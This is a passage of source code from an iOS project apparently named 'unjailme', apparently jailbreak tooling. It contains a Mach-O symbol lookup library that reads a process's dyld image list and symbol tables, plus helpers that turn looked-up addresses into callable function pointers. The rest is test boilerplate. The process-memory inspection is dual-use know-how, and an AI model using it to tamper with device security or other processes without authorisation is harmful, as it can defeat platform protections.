task_dyld_info_data_t, const char*, uint32_t*, 56 | uint64_t*, uint64_t *); 57 | static int _image_headers_from_dyld_info64(task_t, task_dyld_info_data_t, const char*, uint32_t*, 58 | uint64_t*, uint64_t *); 59 | static mach_vm_address_t _scan_remote_image_for_symbol(task_t, mach_vm_address_t, const char *, bool *); 60 | static char *_copyin_string(task_t, mach_vm_address_t); 61 | 62 | 63 | #pragma mark - Lorgnette 64 | 65 | mach_vm_address_t lorgnette_lookup(task_t target, const char *symbol_name) 66 | { 67 | return lorgnette_lookup_image(target, symbol_name, NULL); 68 | } 69 | 70 | addr64_t lorgnette_lookup_baseaddress(const char* library_name){ 71 | kern_return_t err; 72 | 73 | // get the list of all loaded modules from dyld 74 | // the task_info mach API will get the address of the dyld all_image_info struct for the given task 75 | // from which we can get the names and load addresses of all modules 76 | task_dyld_info_data_t task_dyld_info; 77 | mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT; 78 | err = task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count); 79 | 80 | const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr; 81 | const struct dyld_image_info* image_infos = all_image_infos->infoArray; 82 | 83 | for(size_t i = 0; i < all_image_infos->infoArrayCount; i++){ 84 | const char* image_name = image_infos[i].imageFilePath; 85 | mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress; 86 | if (strstr(image_name, library_name)){ 87 | return image_load_address; 88 | } 89 | } 90 | return 0; 91 | } 92 | 93 | mach_vm_address_t lorgnette_lookup_image(task_t target, const char *symbol_name, const char *image_name) 94 | { 95 | assert(symbol_name); 96 | assert(strlen(symbol_name) > 0); 97 | 98 | int err = KERN_SUCCESS; 99 | uint32_t count = 0; 100 | uint64_t shared_cache_slide = 0x0; 101 | err = _image_headers_in_task(target, image_name, NULL, &count, &shared_cache_slide); 102 | if (err != KERN_SUCCESS) { 103 | return 0; 104 | } 105 | 106 | mach_vm_address_t *headers = malloc(sizeof(*headers) * count); 107 | err =_image_headers_in_task(target, image_name, headers, &count, &shared_cache_slide); 108 | if (err != KERN_SUCCESS) { 109 | free(headers); 110 | return 0; 111 | } 112 | mach_vm_address_t result = 0; 113 | bool imageFromSharedCache = 0; 114 | for (uint32_t i = 0; i < count; i++) { 115 | mach_vm_address_t image = headers[i]; 116 | result = _scan_remote_image_for_symbol(target, image, symbol_name, &imageFromSharedCache); 117 | if (result > 0) { 118 | /** Add ASLR slice only for the main image of the target */ 119 | if (i == 0) { 120 | // FIXME: dirty hardcoding 121 | /* Get a relative symbol offset */ 122 | if (result < kx86_64DefaultBaseAddress) { 123 | result -= ki386DefaultBaseAddress; 124 | } else { 125 | result -= kx86_64DefaultBaseAddress; 126 | } 127 | /* The header pointer already have ASLR slice included */ 128 | result += headers[0]; 129 | } else if (!imageFromSharedCache) { 130 | /** 131 | * On some setups dyld shared cache doesn't contain some system libraries. 132 | * In this case we have to append a base_address+ASLR value to the result. 133 | */ 134 | if (headers[i] > kx86_64DefaultBaseAddress && result < kx86_64DefaultBaseAddress) { 135 | /* x86_64 target */ 136 | result += headers[i]; 137 | } 138 | if (headers[i] < kx86_64DefaultBaseAddress && result < ki386DefaultBaseAddress) { 139 | /* i386 target */ 140 | result += headers[i]; 141 | } 142 | } 143 | break; 144 | }; 145 | } 146 | free(headers); 147 | /* Add a slide if our target image was a library from the dyld shared cache */ 148 | if (imageFromSharedCache && result > 0) { 149 | result += shared_cache_slide; 150 | } 151 | 152 | return result; 153 | } 154 | 155 | #pragma mark - All the interesting stuff 156 | /** 157 | * @abstract 158 | * Get a list of load addresses of all mach-o images within the target task. 159 | * @note 160 | * These addresses could belong to a foreign address space. 161 | * 162 | * @param task 163 | * the target process 164 | * @param headers (out) 165 | * the list of length @p count containing addresses of images loaded into the target task 166 | * @param count (out) 167 | * the length of @p headers list 168 | */ 169 | static 170 | int _image_headers_in_task(task_t task, 171 | const char *suggested_image_name, 172 | mach_vm_address_t *headers, 173 | uint32_t *count, 174 | uint64_t *shared_cache_slide) 175 | { 176 | task_flavor_t flavor = TASK_DYLD_INFO; 177 | task_dyld_info_data_t data; 178 | mach_msg_type_number_t number = TASK_DYLD_INFO_COUNT; 179 | int err = task_info(task, flavor, (task_info_t)&data, &number); 180 | RDFailOnError("task_info()", fail); 181 | 182 | if (data.all_image_info_format == TASK_DYLD_ALL_IMAGE_INFO_32) { 183 | return _image_headers_from_dyld_info32(task, data, suggested_image_name, count, 184 | headers, shared_cache_slide); 185 | } else { 186 | return _image_headers_from_dyld_info64(task, data, suggested_image_name, count, 187 | headers, shared_cache_slide); 188 | } 189 | 190 | fail: 191 | return KERN_FAILURE; 192 | } 193 | 194 | static 195 | int _image_headers_from_dyld_info64(task_t target, 196 | task_dyld_info_data_t dyld_info, 197 | const char *suggested_image_name, 198 | uint32_t *count, 199 | uint64_t *headers, 200 | uint64_t *shared_cache_slide) 201 | { 202 | assert(count); 203 | assert(shared_cache_slide); 204 | 205 | int err = KERN_FAILURE; 206 | struct dyld_all_image_infos_64 infos; 207 | mach_vm_size_t size = dyld_info.all_image_info_size; 208 | err = mach_vm_read_overwrite(target, dyld_info.all_image_info_addr, size, 209 | (mach_vm_address_t)&infos, &size); 210 | RDFailOnError("mach_vm_read_overwrite()", fail); 211 | 212 | *count = infos.infoArrayCount; 213 | *shared_cache_slide = infos.sharedCacheSlide; 214 | 215 | size = sizeof(struct dyld_image_info_64) * (*count); 216 | struct dyld_image_info_64 *array = malloc((size_t)size); 217 | err = mach_vm_read_overwrite(target, (mach_vm_address_t)infos.infoArray, size, 218 | (mach_vm_address_t)array, &size); 219 | RDFailOnError("mach_vm_read_overwrite()", fail); 220 | 221 | bool should_find_particular_image = (suggested_image_name != NULL); 222 | if (headers) { 223 | for (uint32_t i = 0; i < *count; i++) { 224 | /// FIXME: Find a real location of the first image path 225 | /* We have to always include the first image in the headers list 226 | * because an image filepath's address is slided with an unknown offset, 227 | * so we can't read the image name directly. */ 228 | if (!should_find_particular_image || i == 0) { 229 | headers[i] = (mach_vm_address_t)array[i].imageLoadAddress; 230 | } else { 231 | char *image_name = _copyin_string(target, array[i].imageFilePath); 232 | bool not_found = ({ 233 | strcmp(suggested_image_name, image_name) && 234 | strcmp(suggested_image_name, basename(image_name)); 235 | }); 236 | free(image_name); 237 | if (not_found) { 238 | headers[i] = 0; 239 | } else { 240 | headers[i] = (mach_vm_address_t)array[i].imageLoadAddress; 241 | break; 242 | } 243 | } 244 | } 245 | } 246 | 247 | free(array); 248 | return KERN_SUCCESS; 249 | 250 | fail: 251 | array = NULL; 252 | if(array) 253 | free(array); 254 | return KERN_FAILURE; 255 | } 256 | 257 | 258 | static 259 | int _image_headers_from_dyld_info32(task_t target, 260 | task_dyld_info_data_t dyld_info, 261 | const char *suggested_image_name, 262 | uint32_t *count, 263 | uint64_t *headers, 264 | uint64_t *shared_cache_slide) 265 | { 266 | assert(count); 267 | assert(shared_cache_slide); 268 | 269 | int err = KERN_FAILURE; 270 | struct dyld_all_image_infos_32 infos; 271 | mach_vm_size_t size = dyld_info.all_image_info_size; 272 | err = mach_vm_read_overwrite(target, dyld_info.all_image_info_addr, size, 273 | (mach_vm_address_t)&infos, &size); 274 | RDFailOnError("mach_vm_read_overwrite()", fail); 275 | 276 | *count = infos.infoArrayCount; 277 | *shared_cache_slide = infos.sharedCacheSlide; 278 | 279 | size = sizeof(struct dyld_image_info_32) * (*count); 280 | struct dyld_image_info_32 *array = malloc((size_t)size); 281 | err = mach_vm_read_overwrite(target, (mach_vm_address_t)infos.infoArray, size, 282 | (mach_vm_address_t)array, &size); 283 | RDFailOnError("mach_vm_read_overwrite()", fail); 284 | 285 | bool should_find_particular_image = (suggested_image_name != NULL); 286 | if (headers) { 287 | for (uint32_t i = 0; i < *count; i++) { 288 | /// FIXME: Find a real location of the first image path 289 | /* We have to always include the first image in the headers list 290 | * because an image filepath's address is slided with an unknown offset, 291 | * so we can't read the image name directly. */ 292 | if (!should_find_particular_image || i == 0) { 293 | headers[i] = (mach_vm_address_t)array[i].imageLoadAddress; 294 | } else { 295 | char *image_name = _copyin_string(target, array[i].imageFilePath); 296 | bool not_found = ({ 297 | strcmp(suggested_image_name, image_name) && 298 | strcmp(suggested_image_name, basename(image_name)); 299 | }); 300 | free(image_name); 301 | if (not_found) { 302 | headers[i] = 0; 303 | } else { 304 | headers[i] = (mach_vm_address_t)array[i].imageLoadAddress; 305 | break; 306 | } 307 | } 308 | } 309 | } 310 | if(array) 311 | free(array); 312 | return KERN_SUCCESS; 313 | 314 | fail: 315 | array = NULL; 316 | if(array) 317 | free(array); 318 | return KERN_FAILURE; 319 | } 320 | 321 | /** 322 | * 323 | */ 324 | static 325 | mach_vm_address_t _scan_remote_image_for_symbol(task_t task, 326 | mach_vm_address_t remote_header, 327 | const char *symbol_name, 328 | bool *imageFromSharedCache) 329 | { 330 | assert(symbol_name); 331 | assert(imageFromSharedCache); 332 | int err = KERN_FAILURE; 333 | 334 | if (remote_header == 0) { 335 | return 0; 336 | } 337 | 338 | mach_vm_size_t size = sizeof(struct mach_header); 339 | struct mach_header header = {0}; 340 | err = mach_vm_read_overwrite(task, remote_header, size, (mach_vm_address_t)&header, &size); 341 | RDFailOnError("mach_vm_read_overwrite()", fail); 342 | 343 | bool sixtyfourbit = (header.magic == MH_MAGIC_64); 344 | *imageFromSharedCache = ((header.flags & kImageFromSharedCacheFlag) == kImageFromSharedCacheFlag); 345 | 346 | /* We don't support anything but i386 and x86_64 */ 347 | if (header.magic != MH_MAGIC && header.magic != MH_MAGIC_64) { 348 | syslog(LOG_NOTICE, "liblorgnette ERROR: found image with unsupported architecture" 349 | "at %p, skipping it.\n", (void *)remote_header); 350 | return 0; 351 | } 352 | 353 | /** 354 | * Let's implement some nlist() 355 | */ 356 | mach_vm_address_t symtab_addr = 0; 357 | mach_vm_address_t linkedit_addr = 0; 358 | mach_vm_address_t text_addr = 0; 359 | 360 | size_t mach_header_size = sizeof(struct mach_header); 361 | if (sixtyfourbit) { 362 | mach_header_size = sizeof(struct mach_header_64); 363 | } 364 | mach_vm_address_t command_addr = remote_header + mach_header_size; 365 | struct load_command command = {0}; 366 | size = sizeof(command); 367 | 368 | for (uint32_t i = 0; i < header.ncmds; i++) { 369 | err = mach_vm_read_overwrite(task, command_addr, size, (mach_vm_address_t)&command, &size); 370 | RDFailOnError("mach_vm_read_overwrite()", fail); 371 | 372 | if (command.cmd == LC_SYMTAB) { 373 | symtab_addr = command_addr; 374 | } else if (command.cmd == LC_SEGMENT || command.cmd == LC_SEGMENT_64) { 375 | /* struct load_command only has two fields (cmd & cmdsize), while its "child" type 376 | * struct segment_command has way more fields including `segname` at index 3, so we just 377 | * pretend that we have a real segment_command and skip first two fields away */ 378 | size_t segname_field_offset = sizeof(command); 379 | mach_vm_address_t segname_addr = command_addr + segname_field_offset; 380 | char *segname = _copyin_string(task, segname_addr); 381 | if (0 == strcmp(SEG_TEXT, segname)) { 382 | text_addr = command_addr; 383 | } else if (0 == strcmp(SEG_LINKEDIT, segname)) { 384 | linkedit_addr = command_addr; 385 | } 386 | free(segname); 387 | } 388 | // go to next load command 389 | command_addr += command.cmdsize; 390 | } 391 | 392 | if (!symtab_addr || !linkedit_addr || !text_addr) { 393 | syslog(LOG_NOTICE, "Invalid Mach-O image header, skipping...\n"); 394 | return 0; 395 | } 396 | 397 | struct symtab_command symtab = {0}; 398 | size = sizeof(struct symtab_command); 399 | err = mach_vm_read_overwrite(task, symtab_addr, size, (mach_vm_address_t)&symtab, &size); 400 | RDFailOnError("mach_vm_read_overwrite", fail); 401 | 402 | // FIXME: find a way to remove the copypasted code below 403 | // These two snippets share all the logic, but differs in structs and integers 404 | // they use for reading the data from a target process (32- or 64-bit layout). 405 | if (sixtyfourbit) { 406 | struct segment_command_64 linkedit = {0}; 407 | size = sizeof(struct segment_command_64); 408 | err = mach_vm_read_overwrite(task, linkedit_addr, size, 409 | (mach_vm_address_t)&linkedit, &size); 410 | RDFailOnError("mach_vm_read_overwrite", fail); 411 | struct segment_command_64 text = {0}; 412 | err = mach_vm_read_overwrite(task, text_addr, size, (mach_vm_address_t)&text, &size); 413 | RDFailOnError("mach_vm_read_overwrite", fail); 414 | 415 | uint64_t file_slide = linkedit.vmaddr - text.vmaddr - linkedit.fileoff; 416 | uint64_t strings = remote_header + symtab.stroff + file_slide; 417 | uint64_t sym_addr = remote_header + symtab.symoff + file_slide; 418 | 419 | for (uint32_t i = 0; i < symtab.nsyms; i++) { 420 | struct nlist_64 sym = {{0}}; 421 | size = sizeof(struct nlist_64); 422 | err = mach_vm_read_overwrite(task, sym_addr, size, (mach_vm_address_t)&sym, &size); 423 | RDFailOnError("mach_vm_read_overwrite", fail); 424 | sym_addr += size; 425 | 426 | if (!sym.n_value) continue; 427 | 428 | uint64_t symname_addr = strings + sym.n_un.n_strx; 429 | char *symname = _copyin_string(task, symname_addr); 430 | /* Ignore the leading "_" character in a symbol name */ 431 | if (0 == strcmp(symbol_name, symname+1)) { 432 | free(symname); 433 | return (mach_vm_address_t)sym.n_value; 434 | } 435 | free(symname); 436 | } 437 | } else { 438 | struct segment_command linkedit = {0}; 439 | size = sizeof(struct segment_command); 440 | err = mach_vm_read_overwrite(task, linkedit_addr, size, 441 | (mach_vm_address_t)&linkedit, &size); 442 | RDFailOnError("mach_vm_read_overwrite", fail); 443 | struct segment_command text = {0}; 444 | err = mach_vm_read_overwrite(task, text_addr, size, (mach_vm_address_t)&text, &size); 445 | RDFailOnError("mach_vm_read_overwrite", fail); 446 | 447 | uint32_t file_slide = linkedit.vmaddr - text.vmaddr - linkedit.fileoff; 448 | uint32_t strings = (uint32_t)remote_header + symtab.stroff + file_slide; 449 | uint32_t sym_addr = (uint32_t)remote_header + symtab.symoff + file_slide; 450 | 451 | for (uint32_t i = 0; i < symtab.nsyms; i++) { 452 | struct nlist sym = {{0}}; 453 | size = sizeof(struct nlist); 454 | err = mach_vm_read_overwrite(task, sym_addr, size, (mach_vm_address_t)&sym, &size); 455 | RDFailOnError("mach_vm_read_overwrite", fail); 456 | sym_addr += size; 457 | 458 | if (!sym.n_value) continue; 459 | 460 | uint32_t symname_addr = strings + sym.n_un.n_strx; 461 | char *symname = _copyin_string(task, symname_addr); 462 | /* Ignore the leading "_" character in a symbol name */ 463 | if (0 == strcmp(symbol_name, symname+1)) { 464 | free(symname); 465 | return (mach_vm_address_t)sym.n_value; 466 | } 467 | free(symname); 468 | } 469 | } 470 | 471 | fail: 472 | return 0; 473 | } 474 | 475 | /** 476 | * @abstract 477 | * Copy a string from the target task's address space to current address space. 478 | * 479 | * @param task 480 | * The target task. 481 | * @param pointer 482 | * The address of a string to copyin. 483 | * 484 | * @return 485 | * A pointer to a string. It may be NULL. 486 | */ 487 | static char *_copyin_string(task_t task, mach_vm_address_t pointer) 488 | { 489 | assert(pointer > 0); 490 | int err = KERN_FAILURE; 491 | 492 | /* Since calls to mach_vm_read_overwrite() are expensive we'll just use 493 | * a rather big buffer insead of reading char-by-char. 494 | */ 495 | // FIXME: what about the size of this buffer? 496 | // Users can requst symbols with very long names (e.g. C++ mangled method names, etc) 497 | char buf[kRemoteStringBufferSize] = {0}; 498 | mach_vm_size_t sample_size = sizeof(buf); 499 | err = mach_vm_read_overwrite(task, pointer, sample_size, 500 | (mach_vm_address_t)&buf, &sample_size); 501 | assert(err == KERN_SUCCESS); 502 | buf[kRemoteStringBufferSize-1] = '\0'; 503 | 504 | char *result = strdup(buf); 505 | return result; 506 | } 507 | /* Create arbitrary function pointers by symbol name */ 508 | arbitrary_command arbitrary(char* symbolname) 509 | { 510 | mach_vm_address_t address = lorgnette_lookup(mach_task_self(), symbolname); 511 | printf("Found address of %s at %#8llx\n",symbolname,address); 512 | assert(address > 0); 513 | arbitrary_command function; 514 | *(void**)(&function) = (void*)address; 515 | return function; 516 | } 517 | arbitrary_command arbitrary_fromlib(char* symbolname, char* lib) 518 | { 519 | mach_vm_address_t address = lorgnette_lookup_image(mach_task_self(), symbolname, lib); 520 | printf("Found address of %s at %#8llx\n",symbolname,address); 521 | assert(address > 0); 522 | arbitrary_command function; 523 | *(void**)(&function) = (void*)address; 524 | return function; 525 | } 526 | -------------------------------------------------------------------------------- /unjailme/utils/lorgnette.h: -------------------------------------------------------------------------------- 1 | // 2 | // lorgnette.h 3 | // liblorgnette 4 | // 5 | // Created by Dmitry Rodionov on 9/24/14. 6 | // Copyright (c) 2014 rodionovd. All rights reserved. 7 | // 8 | #include 9 | #define CALLSYMBOL(function, ...) function(__VA_ARGS__) 10 | #define LC_SEGMENT_NATIVE LC_SEGMENT 11 | #define segment_command_native segment_command 12 | #define section_native section 13 | #pragma once 14 | /** 15 | * @abstract 16 | * Locate a symbol inside an arbitrary process' address space. 17 | * 18 | * @note 19 | * This function iterates local symbols first and only then it looks for symbols 20 | * in linked libraries. 21 | * 22 | * @param target 23 | * The target process to inspect. 24 | * @param symbol_name 25 | * The name of the symbol to find. This parameter must not be NULL. 26 | * 27 | * @return 28 | * An address of the given symbol within the given process, or 0 (zero) if this symbol 29 | * could not be found. 30 | * 31 | * @b Examples 32 | * 33 | * Find a @p dlopen symbol address within the current task memory space 34 | * @code 35 | * addr = lorgnette_lookup(mach_task_self(), "dlopen"); 36 | * @endcode 37 | * Find a @p glob_var0 symbol address inside a remote process 38 | * @code 39 | * addr = lorgnette_lookup(some_task, "glob_var0"); 40 | * @endcode 41 | */ 42 | mach_vm_address_t lorgnette_lookup(task_t target, const char *symbol_name); 43 | 44 | /** 45 | * @abstract 46 | * Locate a symbol within a particular image inside an alien process. 47 | * 48 | * @param target 49 | * The target process to inspect. 50 | * @param symbol_name 51 | * The name of the symbol to find. This parameter must not be NULL. 52 | * @param image_name 53 | * The name of the host image of the given symbol. This may be NULL. 54 | * The image name should be either a full file path or just a file base name. 55 | * 56 | * @return 57 | * An address of the given symbol within the given process, or 0 (zero) if this symbol 58 | * could not be found [within the given image, if @p image_name is not NULL]. 59 | * 60 | * @see lorgnette_lookup() 61 | */ 62 | mach_vm_address_t lorgnette_lookup_image(task_t target, const char *symbol_name, const char *image_name); 63 | 64 | #pragma clang diagnostic push 65 | #pragma clang diagnostic ignored "-Wstrict-prototypes" 66 | typedef void* (*arbitrary_command)(); 67 | #pragma clang diagnostic push 68 | 69 | addr64_t lorgnette_lookup_baseaddress(const char* library_name); 70 | arbitrary_command arbitrary(char* symbolname); 71 | arbitrary_command arbitrary_fromlib(char* symbolname, char* lib); 72 | -------------------------------------------------------------------------------- /unjailme/utils/machhelper.h: -------------------------------------------------------------------------------- 1 | // 2 | // machhelper.h 3 | // unjailme 4 | // 5 | // Created by Sem Voigtländer on 13/03/2018. 6 | // Copyright © 2018 Jailed Inc. All rights reserved. 7 | // 8 | 9 | #ifndef machhelper_h 10 | #define machhelper_h 11 | typedef unsigned int mach_msg_return_value; 12 | extern kern_return_t bootstrap_look_up(mach_port_t bs, const char *service_name, mach_port_t *service); 13 | #endif /* machhelper_h */ 14 | -------------------------------------------------------------------------------- /unjailmeTests/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | $(DEVELOPMENT_LANGUAGE) 7 | CFBundleExecutable 8 | $(EXECUTABLE_NAME) 9 | UILaunchImageFile 10 | Default.png 11 | CFBundleIdentifier 12 | $(PRODUCT_BUNDLE_IDENTIFIER) 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundleName 16 | $(PRODUCT_NAME) 17 | CFBundlePackageType 18 | BNDL 19 | CFBundleShortVersionString 20 | 1.0 21 | CFBundleVersion 22 | 1 23 | 24 | 25 | -------------------------------------------------------------------------------- /unjailmeTests/unjailmeTests.m: -------------------------------------------------------------------------------- 1 | // 2 | // unjailmeTests.m 3 | // unjailmeTests 4 | // 5 | // Created by Sem Voigtländer on 27/02/2018. 6 | // Copyright © 2018 Jailed Inc. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface unjailmeTests : XCTestCase 12 | 13 | @end 14 | 15 | @implementation unjailmeTests 16 | 17 | - (void)setUp { 18 | [super setUp]; 19 | // Put setup code here. This method is called before the invocation of each test method in the class. 20 | } 21 | 22 | - (void)tearDown { 23 | // Put teardown code here. This method is called after the invocation of each test method in the class. 24 | [super tearDown]; 25 | } 26 | 27 | - (void)testExample { 28 | // This is an example of a functional test case. 29 | // Use XCTAssert and related functions to verify your tests produce the correct results. 30 | } 31 | 32 | - (void)testPerformanceExample { 33 | // This is an example of a performance test case. 34 | [self measureBlock:^{ 35 | // Put the code you want to measure the time of here. 36 | }]; 37 | } 38 | 39 | @end 40 | -------------------------------------------------------------------------------- /unjailmeUITests/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleDevelopmentRegion 6 | $(DEVELOPMENT_LANGUAGE) 7 | CFBundleExecutable 8 | $(EXECUTABLE_NAME) 9 | CFBundleIdentifier 10 | $(PRODUCT_BUNDLE_IDENTIFIER) 11 | CFBundleInfoDictionaryVersion 12 | 6.0 13 | UIFileSharingEnabled 14 | 15 | CFBundleName 16 | $(PRODUCT_NAME) 17 | CFBundlePackageType 18 | BNDL 19 | CFBundleShortVersionString 20 | 1.0 21 | CFBundleVersion 22 | 1 23 | 24 | 25 | -------------------------------------------------------------------------------- /unjailmeUITests/unjailmeUITests.m: -------------------------------------------------------------------------------- 1 | // 2 | // unjailmeUITests.m 3 | // unjailmeUITests 4 | // 5 | // Created by Sem Voigtländer on 27/02/2018. 6 | // Copyright © 2018 Jailed Inc. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface unjailmeUITests : XCTestCase 12 | 13 | @end 14 | 15 | @implementation unjailmeUITests 16 | 17 | - (void)setUp { 18 | [super setUp]; 19 | 20 | // Put setup code here. This method is called before the invocation of each test method in the class. 21 | 22 | // In UI tests it is usually best to stop immediately when a failure occurs. 23 | self.continueAfterFailure = NO; 24 | // UI tests must launch the application that they test. Doing this in setup will make sure it happens for each test method. 25 | [[[XCUIApplication alloc] init] launch]; 26 | 27 | // In UI tests it’s important to set the initial state - such as interface orientation - required for your tests before they run. The setUp method is a good place to do this. 28 | } 29 | 30 | - (void)tearDown { 31 | // Put teardown code here. This method is called after the invocation of each test method in the class. 32 | [super tearDown]; 33 | } 34 | 35 | - (void)testExample { 36 | // Use recording to get started writing UI tests. 37 | // Use XCTAssert and related functions to verify your tests produce the correct results. 38 | } 39 | 40 | @end 41 | --------------------------------------------------------------------------------